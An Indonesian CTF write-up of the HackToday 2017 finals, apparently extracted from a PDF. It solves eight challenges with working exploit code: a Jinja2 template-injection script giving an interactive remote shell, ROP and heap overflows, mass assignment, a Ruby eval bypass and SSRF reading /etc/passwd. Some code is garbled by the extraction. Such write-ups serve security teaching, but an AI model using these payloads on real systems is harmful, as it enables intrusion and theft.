Professional Documents
Culture Documents
Solusi Final HackToday 2017
Solusi Final HackToday 2017
Problems:
1. Birthday Card
2. Buaya
3. Cacah Jiwa
4. How to Blog
5. Kudanil
6. Math Service
7. Musicality Icon
8. Sanca
Birthday Card
Tags: python, rce, flask template injection, SSTI
File:
curl -Ls https://git.io/vdfwm | base64 -d > birthday.tar.gz
Target:
http://45.127.134.29:30101/
Solusi:
Kita diberikan source code dari aplikasi web soal, aplikasi tersebut dibuat dari flask. Berikut
tampilan webnya.
Ketika kita memasukan sebuah string maka web tersebut akan mengembalikan kembali string
yang kita masukan.
Namun jika kita masukan string {{ 2+2 }} maka web akan melakukan eval inputan kita sesuai
ulasan blog1 ternyata web ini vulnerable terhadap template injection.
1
https://nvisium.com/blog/2015/12/07/injecting-flask/
Bahkan kita dapat melakukan looping!, tentunya dengan syntax template jinja :)
{% for i in range(10) %}{{ 'loop %d, ' | format(i) }}{% endfor %}
Salah satu cara untuk mendapatkan RCE adalah dengan mencoba teknik yang ada di blog
nvisium2 dengan ubek2 __mro__ (Method Resolution Order)
1. Cari built in function ‘File’ di subclass mro
2. Lalu write sebuah flask config ke /tmp/ yang melakukan import subprocess
3. Load config yang sudah di write
4. Lalu panggil objek check_output dari subprocess dan voila! didapatkan RCE
Namun entah kenapa ketika write file ke /tmp/ selalu internal server error, sehingga tidak dapat
melakukan load config. Berikut scriptnya
#!/usr/bin/env python
# HTML Decoding
def hd(string):
html_parser = HTMLParser.HTMLParser()
return html_parser.unescape(string)
# Send payload
def sp(payload, debug=False):
data = {
"nama" : payload
}
r = requests.post("http://45.127.134.29:30101/", data=data)
m = re.search('<p>Happy Birthday ((?s).*)\!<\/p>', r.text)
if debug:
2
https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/
if "Internal Server Error" in r.text:
return "[ERROR] internal server error"
return r.text
return hd(m.group(1))
i = 0
print("[+] mencari built in function 'file' ..")
while True:
resp = sp("{{ ''.__class__.__mro__[2].__subclasses__()[%s] }}"
% str(i))
print(resp)
if "file" in resp:
print("[+] 'file' ditemukan")
print("[+] read /etc/passwd")
resp = sp("{{
''.__class__.__mro__[2].__subclasses__()[%s]('/etc/passwd').read()
}}" % str(i))
print(resp)
break
i += 1
print("Write file ke /tmp/...")
resp = sp("{{
''.__class__.__mro__[2].__subclasses__()[%s]('/tmp/this_is_uniq_str
ing232323', 'w').write('test') }}" % str(i), debug=True)
print(resp)
Untuk melihat scriptnya berjalan bisa dilihat di asciinema3. Karena gagal, akhirnya mencoba cari
cara alternatif, didapatkan writeup pybabbies4. Jika di writeup itu mencari function ‘os’, disini kita
akan mencari ‘eval’. Jadi tekniknya seperti ini
1. Mencari catch_warnings dari kumpulan subclasses dari base
2. Mencari built in function ‘eval’ didalam kumpulan dictionary yang ada di catch_warnings
3. Masukan argument eval ke objek yang didapatkan dan voila! RCE didapatkan
Teknik ekploit ini lumayan banyak try and error sampai bekerja dengan baik, dan sampai
sekarang penasaran mengapa ada fungsi eval didalam dictionary yang ada di catch_warnings?
#!/usr/bin/env python
# HTML Decoding
def hd(string):
3
https://asciinema.org/a/u5weCj4QGFyAYhnjuJ1SUvC2l
4
https://github.com/stevecoward/sugarstack-pelican/blob/master/content/csaw2014/csaw2014-pybabbies.
md
h tml_parser = HTMLParser.HTMLParser()
r eturn html_parser.unescape(string)
# Send payload
def sp(payload, debug=False):
data = {
"nama" : payload
}
r = requests.post("http://45.127.134.29:30101/", data=data)
m = re.search('<p>Happy Birthday ((?s).*)\!<\/p>', r.text)
if debug:
return r.text
return hd(m.group(1))
i = 0
print("[+] mencari catch_warnings")
while True:
resp = sp("{{
[].__class__.__base__.__subclasses__()[%s].__name__ }}" % str(i))
print(resp)
if "catch_warnings" in resp:
print("[+] catch_warnings didapatkan pada index-%s" %
str(i))
print("[+] mencari dictionary sebuah object")
j = 0
while True:
resp = sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s].__class__ }}" % (str(i), str(j)))
if "dict" in resp:
print("[+] mencari eval...")
resp = sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s].keys() }}" % (str(i), str(j)))
print(resp)
if "eval" in resp:
print("[+] Eval ditemukan")
resp = sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s]['eval']('__import__(\"subprocess\").check_output(\"id\")
') }}" % (str(i), str(j)))
print(resp)
print("PWNED!")
break
j += 1
break
i += 1
print("[+] switching interactive mode")
while True:
cmd = raw_input("$ ")
try:
resp = sp("{{
[].__class__.__base__.__subclasses__()[%s].__init__.func_globals.va
lues()[%s]['eval']('__import__(\"subprocess\").check_output(\"%s\",
shell=True)') }}" % (str(i), str(j), cmd))
print(resp)
except:
print("%s: Permission denied" % cmd)
Penjelasan payload
Dimulai dari sebuah list “[ ]”, kita akan memanggil class dari sebuah list dengan [].__class__
>>> dir([])
['__add__', '__class__', '__contains__', '__delattr__',
'__delitem__', '__delslice__', '__doc__', '__eq__', '__format__',
'__ge__', '__getattribute__', '__getitem__', '__getslice__',
'__gt__', '__hash__', '__iadd__', '__imul__', '__init__',
'__iter__', '__le__', '__len__', '__lt__', '__mul__', '__ne__',
'__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__reversed__', '__rmul__', '__setattr__', '__setitem__',
'__setslice__', '__sizeof__', '__str__', '__subclasshook__',
'append', 'count', 'extend', 'index', 'insert', 'pop', 'remove',
'reverse', 'sort']
>>> [].__class__
<type 'list'>
Didapatkan <type ‘list’> selanjutnya kita akan mundur ke base class, ibaratnya seperti ke
menuju “parent” nya <type ‘list’> [].__class__.__base__ , selanjutnya kita akan melihat seluruh
subclass dari class base dengan [].__class__.__base__.__subclassess__() hasilnya adalah
sebuah list, lalu kita akan mencari catch_warnings dari sekumpulan subclass tersebut.
5
https://asciinema.org/a/dsA8cvCLuPFVlZ3oUfAx5bdp5
Buaya
Tags: return oriented programming, privilege escalation, suid bit, n-queen
File:
curl -Ls https://git.io/vdfPP | base64 -d > buaya.tar.gz
Target:
nc 45.127.134.29 30102
Solusi:
Binary yang diberikan berupa binary 64 bit yang stripped dan static linked. Sistem keamanan
yang ada pada binary adalah sebagai berikut.
Tujuan dari program ini adalah kita harus dapat mengalokasikan buaya - buaya agar tidak dapat
bertemu satu sama lain (dalam arah horizontal, vertikal, mau pun arah diagonal) dalam area m *
m. Ini merupakan n-queen problem yang dapat dilihat lebih jelas pada tautan
https://en.wikipedia.org/wiki/Eight_queens_puzzle. Pengecekan n-queen dapat dilihat pada
kode berikut.
f or ( j = 0; j < v17; ++j )
{
for ( k = 0; k < v17; ++k )
{
v19 = 0;
v4 = v14;
if ( *((_BYTE *)v14 + k + v2 * j) == 98 )
{
for ( l = j + 1; l < v17; ++l )
{
v4 = v14;
if ( *((_BYTE *)v14 + k + v2 * l) == 98 )
v19 = 1;
}
for ( l = j - 1; l >= 0; --l )
{
v4 = v14;
if ( *((_BYTE *)v14 + k + v2 * l) == 98 )
v19 = 1;
}
for ( l = k + 1; l < v17; ++l )
{
v4 = v14;
if ( *((_BYTE *)v14 + l + v2 * j) == 98 )
v19 = 1;
}
for ( l = k - 1; l >= 0; --l )
{
v4 = v14;
if ( *((_BYTE *)v14 + l + v2 * j) == 98 )
v19 = 1;
}
l = j + 1;
for ( m = k + 1; l < v17 && m < v17; ++m )
{
v4 = v14;
if ( *((_BYTE *)v14 + m + v2 * l) == 98 )
v19 = 1;
++l;
}
l = j - 1;
for ( m = k - 1; l >= 0 && m >= 0; --m )
{
v4 = v14;
if ( *((_BYTE *)v14 + m + v2 * l) == 98 )
v19 = 1;
--l;
}
l = j + 1;
for ( m = k - 1; l < v17 && m >= 0; --m )
{
v4 = v14;
if ( *((_BYTE *)v14 + m + v2 * l) == 98 )
v19 = 1;
++l;
}
l = j - 1;
for ( m = k + 1; l >= 0 && m < v
17; + +m )
{
v4 = v14;
if ( *((_BYTE *)v14 + m + v2 * l) = = 98 )
v19 = 1;
--l;
}
++v18;
}
if ( v19 )
{
sub_410C80(4860220LL, v4);
sub_40F0C0(0LL);
}
}
}
if ( v18 != v17 )
{
sub_410C80(4860226LL, v4);
sub_40F0C0(0LL);
}
result = sub_410C80(4860233LL, v4);
}
return result;
Program akan mengecek jika terdapat alokasi buaya (yang ditandai dengan huruf ‘b’) pada arah
horizontal, vertikal, dan diagonal dengan jumlah lebih dari 1. Selain itu, jika kita coba masukkan
koordinat yang sama beberapa kali, program akan mengetahuinya. Oleh karena itu, kita harus
dapat menyelesaikan n-queen ini terlebih dahulu (sebanyak 20).
Setelah menyelesaikan n-queen ini, kita akan mendapatkan fungsi gets() yang vulnerable
sehingga dengan ROPchain kita akan mendapatkan s hell. Namun, jika kita hanya
menggunakan ROPchain tersebut, kita tidak bisa membaca flag tersebut. Hal ini dikarenakan
flag tersebut dimiliki oleh user buaya dan u
ser lain tidak dapat membacanya. Sementara, user
yang kita dapatkan adalah nobody.
$ ls -l
total 840
-rwsrwxr-x 1 buaya ddicscovkp 849016 Sep 2 2 1 2:06 b uaya
-rw-rw-r-- 1 root root 643 Sep 2 2 1 2:06 b uaya.gambar
-rw------- 1 buaya buaya 76 Sep 2 2 1 4:40
flag_cebdd606f21791b0518e172824d92d27
$ cat fl*
$ id
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
$
Untuk id dari buaya, kita dapat melihatnya melalui /etc/passwd ketika mendapatkan shell, atau
dengan memasukkan perintah ‘id buaya’ sehingga kita dapat memasukkan id nya. Berikut s cript
lengkap yang dibuat oleh problem setter.
#!/usr/bin/python
global papan
papan = []
def bikin_papan(N):
for i in range(N):
nol = []
papan.append(nol)
return 1
def cetak_papan():
for i in range(len(papan)):
for j in range(len(papan)):
if papan[i][j]:
kirim = str(i) + " " + str(j)
a.sendline(kirim)
# P
adding goes here
p = 'a'*520
a.sendline(p)
a.interactive()
Cacah Jiwa
Tags: heap overflow, struct, GOT overwrite
File:
curl -Ls https://git.io/vdfPr | base64 -d > cacah.tar.gz
Target:
nc 45.127.134.29 30103
Solusi:
Diberikan sebuah binary 32 bit yang akan terus - menerus meminta inputan berupa nama.
Pseudocode dari program tersebut adalah seperti berikut.
int __cdecl __noreturn main(int argc, const char **argv, const char
**envp)
{
void *v3; // ST18_4@2
char **v4; // ST14_4@2
i nit();
welcome();
while ( 1 )
{
v3 = malloc(8u);
*(_DWORD *)v3 = malloc(8u);
*((_DWORD *)v3 + 1) = 1;
v4 = (char **)malloc(8u);
*v4 = (char *)malloc(8u);
*((_DWORD *)v3 + 1) = 2;
printf("Nama suami : ");
gets(*(char **)v3);
printf("Nama istri : ");
gets(*v4);
fflush(stdin);
}
}
Selain itu, terdapat fungsi libc_main() yang akan langsung memanggil system(“/bin/sh”). Dapat
disimpulkan, tujuannya adalah dengan memanggil fungsi tersebut.
Challenge ini termasuk ke dalam kategori heap di mana alokasi memori dilakukan di heap yang
dipanggil melalui malloc(). Melalui debugger, kita dapat melihat lokasi tempat inputan kita
berada.
Ketika fungsi malloc() dipanggil, terlihat bahwa alokasinya berada di 0x804b008 dan 0x804b028
untuk masing - masing malloc() yang dipanggil. Isi heap di dalam alamat tersebut adalah
sebagai berikut ketika fungsi gets() kedua dipanggil.
Fungsi yang dipanggil setelah gets() kedua ini adalah f flush(stdin). Oleh karena itu, kita dapat
melakukan GOT overwrite pada f flush(stdin) sehingga ketika fflush(stdin) dipanggil, yang
terpanggil adalah fungsi libc_main() yang berisi system(“/bin/sh”) untuk mendapatkan shell.
a.interactive()
How to Blog
Tags: mass assignment, yii, mvc framework
File:
curl -Ls https://git.io/vdfPR | base64 -d > blog.tar.gz
Target:
http://45.127.134.29:30104/
Solusi:
Diberikan suatu web service. Web berikut dibuat dengan menggunakan framework PHP Yii2.
Jika kita mencoba melakukan registrasi, kemudian melakukan l ogin maka tampilan halaman
utama menjadi seperti ini.
Perhatikan baik-baik role yang diberikan pada tescoba adalah sebagai user. Kita juga bisa
memastikan dengan melihat source code yang diberikan bahwa siapa pun yang mendaftar
melalui halaman registrasi akan diberikan default role sebagai user.
...
}
Jika membuka file UsersDB.php yang terletak di folder models, kemudian melihat fungsi
rules(), di sana tertulis atribut role memiliki nilai default yaitu ‘user’ (sintaks yang disorot dengan
warna kuning). Kita juga dapat melihat fungsi di bawahnya, yaitu fungsi attributeLabels() yang
mendefinisikan label untuk setiap atribut. Karena ini merupakan file model ActiveRecord, maka
file model ini mendefinisikan bentuk dari tabel yang ada di basisdata.
Kemudian perhatikan juga file SiteController.php yang terletak di folder controllers.
/* file: @app/controllers/SiteController.php */
Dari file tersebut, kita bisa memahami logic dari proses registrasi. Proses registrasi dilakukan
dengan me-load data yang dikirimkan melalui HTTP POST ke file model, yaitu UsersDB.php,
sehingga atribut-atribut yang ada di file UsersDB akan terisi dengan data yang dikirimkan dari
HTTP POST tersebut. Setelah data berhasil di-load ke file model, kemudian dilakukan proses
penyimpanan ke basisdata. Perhatikan sintaks yang disorot dengan warna kuning,
$model->save() akan melakukan proses insert ke basisdata berdasarkan semua data yang
dikirimkan melalui HTTP POST. Proses ini disebut sebagai massive assignment, yaitu
melakukan proses insert/update langsung untuk semua kolom yang ada pada suatu tabel.
Karena data yang dikirimkan melalui HTTP POST hanya username dan password, maka nilai
yang diisikan ke atribut-atribut yang ada di file model adalah sebagai berikut.
● username => input_user (dari HTTP POST)
● password => input_user (dari HTTP POST)
● role => user (default value)
Berikut diberikan contoh HTTP POST yang dikirimkan saat proses registrasi.
POST /register HTTP/1.1
Host: 45.127.134.29:30104
Proxy-Connection: keep-alive
Content-Length: 175
Cache-Control: max-age=0
Origin: http://45.127.134.29:30104
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/61.0.3163.100 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://45.127.134.29:30104/register
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8,id;q=0.6,ms;q=0.4,uz;q=0.2,la;q=0.2
Cookie: _ga=GA1.3.1677694908.1496460416;
_csrf=31b610bde53c6f4aa05fbf79342d574b1b84dcd1581155928482b2f5f341b346a%3A2%3A%7Bi%3A0%3Bs%3
A5%3A%22_csrf%22%3Bi%3A1%3Bs%3A32%3A%22UP5tbAbuVzAYiQO7THG5TSyacCwel0Wl%22%3B%7D;
PHPSESSID=f1m38i4l34cvji6fe9nd41ru30
_csrf=nDqPFmEpWlPXZIEn3PNY_A0eBbk_fa1Uaf6-FVIP7Y7JarpiA2g4JoEewH61ohfLWVZCjGsu1DUKvclwPj-64g
%3D%3D&UsersDB%5Busername%5D=tescoba&UsersDB%5Bpassword%5D=tescoba®ister-button=
Coba perhatikan baik-baik teks yang disorot. Data POST yang dikirimkan jika dilihat pada
request header tersebut berbentuk seperti berikut.
UsersDB[username]=tescoba&UsersDB[password]=tescoba
Jika dicermati, seharusnya kalian sudah sadar sekarang bagaimana cara Yii2 me-load data
yang dikirimkan melalui HTTP POST. Karena tadi sudah didapatkan informasi bahwa kode
untuk melakukan registrasi menggunakan teknik massive assignment, maka kita bisa
memanipulasi data yang dikirimkan menjadi seperti ini.
UsersDB[username]=tescoba&UsersDB[password]=tescoba&UsersDB[role]=admin
Akibatnya, saat data tersebut di-load ke file model akan menjadi seperti berikut.
● username => tescoba (dari HTTP POST)
● password => tescoba (dari HTTP POST)
● role => admin (dari HTTP POST)
Atau dengan kata lain, kita bisa memanipulasi atribut pada suatu tabel di basisdata selain yang
ada pada form registrasi.
Jika manipulasi proses registrasi di atas berhasil (tidak menampilkan error), maka saat
melakukan login, halaman utama akan menjadi seperti ini.
Perhatikan bahwa role yang diberikan pada tescoba1 adalah sebagai ‘Administrator’. Pada
halaman tersebut juga terdapat tab ‘Flag’ yang berisikan flag untuk challenge ini.
Kudanil
Tags: stack buffer overflow, return to libc
File:
curl -Ls https://git.io/vdfip | base64 -d > kudanil.tar.gz
Target:
nc 45.127.134.29 30105
Solusi:
Diberikan binary 32 bit yang not stripped dan dynamically linked. Ketika program dijalankan
terlihat sebuah huruf ‘h’ di ujung kiri atas dan string “/bin/su”.
Berikut adalah snippet code penting dari program
int gerak()
{
int result; // eax@18
char s; // [sp+5h] [bp-13h]@2
char v2; // [sp+Fh] [bp-9h]@4
Alamat pada unk_804B164 adalah string u. Untuk mengexploit kita harus mengisi pada alamat
tersebut dengan karakter h kita. Kita bisa mengasumsikan bahwa program meminta kita untuk
memindahkan karakter ‘h’ ke karakter ‘u’ agar string menjadi “/bin/sh”.
. -''''-. _
(' ' '0)-/)
'..____..: \._
\u u ( '-..------._
| / : '. '--.
.nn_nn/ ( : ' '\
( '' '' / ; . \
''----' "\ : : '.
.'/ '.
/ / '.
/_| ) .\|
| /\ . '
'--.__| '--._ , /
/'-, .'
/ | _.'
(____\ /
\ \
Kudanil LSI Adventure
Cari dan berpetualang. C ari kudanil misterius yang terdapat di
danau LSI
Press Any Key to Start G ame
Control
(w) keatas
(a) kekiri
(s) kebawah
(d) kekanan
(c) bersihkan layar
h**~~~**~**~*~~~~~~
~~~*~~~~~**~~~~**~*
~~~~~~~~~~~~~~*~*~~
**~*~~~~~~*~~***~*~
~~~~~~~*~*~~~~~~~~*
*~***~~*~*~~~~~***~
~~~~~~**~~*~*~~~~~*
~~**~*~~~~~~*~*~~~~
~~~****~~~~~~~~~~~~
**~*~~~~~*~~***~~~~
~*~~~~~~~***/bin/su
Untuk memindahkan char ‘h’ ke ‘u’ kita bisa menggunakan algoritme Breadth-First Search untuk
mendapatkan jalur tercepat dari char ‘h’ ke char ‘u’. Bersamaan dengan itu kita juga bisa
menyimpan path dari ‘h’ ke ‘u’ dengan sedikit tambahan fungsi.
map.solution.cpp
#include <bits/stdc++.h>
using namespace std;
i f
#define f irst
#define s c s econd
#define p b p ush_back
string s[12];
bool vis[20][22] = {0}, visb[20][22] = {0};
int main()
{
// ios;
for(int i=0; i<11; i++) {
getline(cin, s[i]);
}
queue<pair<int, pair<int, int> > > q;
q.push({0, {0, 0}});
while(q.size())
{
int cost = q.front().fi, x = q.front().sc.fi, y =
q.front().sc.sc; q.pop();
if (x < 0 || y < 0 || x > 11 || y > 19) continue;
if (vis[x][y]) continue;
vis[x][y] = 1;
Di dalam looping kita batasi terlebih dahulu kondisi yang akan merusak algoritme bfs ini yaitu
baris tidak boleh kurang dari 0 dan tidak boleh lebih dari 11, kolom tidak boleh kurang dari 0
dan baris tidak boleh lebih dari 19, dan cek juga apakah jalan tersebut telah dilalui sebelumnya
atau belum. Jika kondisi tersebut tidak terpenuhi maka kita bisa langsung melanjutkan looping
tanpa memasukkan apapun kedalam queue.
Kemudian kita buat sebuah ‘if’ untuk melakukan break pada looping jika huruf ‘u’ telah dicapai.
Jika semua state di atas telah terlewati kita bisa langsung melakukan push ‘jarak’, ‘index baris’,
dan ‘index kolom’ ke dalam queue. Karena kita ingin mendapatkan path juga maka setelah
mengisi queue kita harus menyimpan tetangga dari x[baris][kolom] saat ini ke dalam adjacency
list dalam bentuk vector.
Setelah looping selesai kita telah mendapatkan path dari ‘h’ ke ‘u’ akan tetapi masih belum
bentuk adjacency list. Karena itu kita bisa melakukan dfs pada adjacency list tersebut dari ‘u’ ke
‘h’. Setiap mengunjungi tetangga kita bisa menyimpan path nya di stack. Setelah fungsi f indpath
tersebut selesai kita bisa mengubah path yang masih dalam bentuk index baris dan kolom ke
bentuk ‘wasd’ sesuai dengan yang diinginkan oleh program. Kemudian kita pun mendapatkan
path dari ‘h’ ke ‘u’ dalam bentuk ‘wasd’ dan bisa mengoutputkannya ke program.
Vulnerability yang terdapat pada program dapat kita gunakan apabila karakter yang kita
gerakkan ketika sudah berada di bagian pojok bawah kanan, yaitu kita digunakan gets untuk
mengambil langkah. Karena terdapat penggunakaan system pada program, kita dapat
menggunakan plt system dan menggunakan string /bin/sh yang sudah terdapat pada binary.
Berikut skrip yang digunakan untuk meng exploit
s = p.recvuntil("su")
s = s.split("\n")[-11:]
s = "\n".join(s)
print s
f = open('map','w')
f.write(s)
f.close()
# kirim peta ke program pencari jalur (kode C++ di atas)
solution = co('cat map | ./map.solution', shell=True)
for c i
n range(0, len(solution)):
p.sendline(solution[c])
Math Service
Tags: ruby, eval, newline injection, bypass regex
File:
curl -Ls https://git.io/vdfu3 | base64 -d > math.tar.gz
Target:
nc 45.127.134.29 30106
Solusi:
puts "Hi, please input your calculation here, finished with '='"
puts "Example: 6+5="
STDOUT.flush
$/ = "="
input = STDIN.gets()
input = input.split(/=/).first
#input = gets("\t\n")
if
/^([-+]?[0-9]*\.?[0-9]+[\/\+\-\*])+([-+]?[0-9]*\.?[0-9]+)$/.match(i
nput)
puts eval(input)
else
puts("no cheating")
end
STDOUT.flush
Diperhatikan bahwa input kita dicek apakah lolos regex atau tidak. Dari regex tersebut terlihat
pengecekan dari awal sampai akhir string. Tapi, pengecekan regex hanya sampai EOF (End Of
Line) yang ditandai karakter dollar di belakang. Jadi payload yang dimasukkan adalah ‘string
lolos regex’+’newline’+’payload’
5+5
system('cat fl*')=
Musicality Icon
Tags: server side request forgery,
File:
curl -Ls https://git.io/vdfi8 | base64 -d > music.tar.gz
Target:
http://45.127.134.29:30107
Solusi:
Bagian yang vulnerable dari web service ini bisa dilihat di file profile.php yang terletak di folder
page. Pada file tersebut terdapat form masukan berupa URL gambar. URL gambar tersebut
kemudian di-curl dan data hasil curl disimpan ke server. Permasalahan utamanya adalah fungsi
yang melakukan operasi curl (fungsi curl_img (lihat tabel di bawah)) tidak melakukan
penyaringan URL yang dimasukkan oleh user.
...
function curl_img($url){
...
Akibatnya, URL apa pun dapat dimasukkan, bahkan tidak hanya sebatas URL yang diawali
http:// atau https://, kita juga dapat memasukkan file://, dict://, atau ftp://. Khusus untuk selain
http:// atau https:// kita harus mem-bypass validasi URL yang dilakukan JavaScript yang
terdapat di file footer.php yang terletak di folder content.
<script>
...
$('#ava').change(function(){
var ava = $('#ava').val();
var expression =
/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)
?/gi;
var regex = new RegExp(expression);
if(!ava.match(regex)){
$('#probtn').attr('disabled', true);
alert("Please enter valid URL!");
}else{
$('#probtn').removeAttr('disabled');
}
});
. ...
</script>
Script di atas akan memvalidasi URL berdasarkan ekspresi reguler suatu URL yang sah.
Karena pengecekan URL hanya dilakukan di client, maka dengan akan sangat mudah untuk
mem-bypass. Salah satu caranya adalah melalui fitur inspect element yang ada di browser, kita
bisa menghilangkan atribut id=’ava’ pada masukan teks URL.
Diubah menjadi
Oleh karena pengecekan URL sudah berhasil di-bypass, maka kita bisa mencoba memasukkan
string file:///etc/passwd. Dengan memasukkan string tersebut, diharapkan fungsi yang
melakukan proses curl akan membaca isi dari file “/etc/passwd” yang ada di server. Untuk
mengecek apakah berhasil, simpan gambarnya, kemudian buka dengan editor teks. Berikut isi
dari file “/etc/passwd” yang berhasil dibaca dari server, perhatikan ada user bernama flag yang
merupakan flag untuk challenge ini.
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/bin/sh
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/spool/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
postgres:x:70:70::/var/lib/postgresql:/bin/sh
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
apache:x:100:101:apache:/var/www:/sbin/nologin
ddicscovkp:x:1000:1000:Linux User,,,:/home/ddicscovkp:
flag:x:1337:1337:HackToday{655af907d51a55b61b9c9b009b586bb7317c41ff
47c6deefcd386012a6251d07}:/home/flag:
Sanca
Tags: python, eval, unicode escape
File:
curl -Ls https://git.io/vdfKX | base64 -d > sanca.tar.gz
Target:
nc 45.127.134.29 30108
Solusi:
Diberikan sebuah service python yang kode python terlampir
#!/usr/bin/env python
import sys,re
def XxxXxxx_xXxxxxx(s):
return re.sub(r"[A-Za-z]+('[A-Za-z]+)?",
lambda mo: mo.group(0)[0].upper() +
mo.group(0)[1:].lower(),
s)
"""
while 1:
try:
print eval(XxxXxxx_xXxxxxx(raw_input(">>> ")))
except KeyboardInterrupt:
print " CTRL+Z to Exit"
except Exception as e:
print(e)
Kalau di perhatikan dari source code yang terlampir terdapat eval pada inputan,
Mungkin terlihat menarik tetapi ketika ingin input suatu command, Setiap awalan huruf kata
yang diinput menjadi huruf kapital, yang membuat ribet adalah syntax python bersifat case
sensitive
Dari source code yang diberikan kita bisa search di google kita dapati bahwa kode tersebut
adalah python title()
http://python-reference.readthedocs.io/en/latest/docs/str/title.html
https://www.python.org/dev/peps/pep-0263/
def unicode_escape(s):
res = ''
for c in s:
res += '\\'+oct(ord(c)).lstrip("0").zfill(3)
return res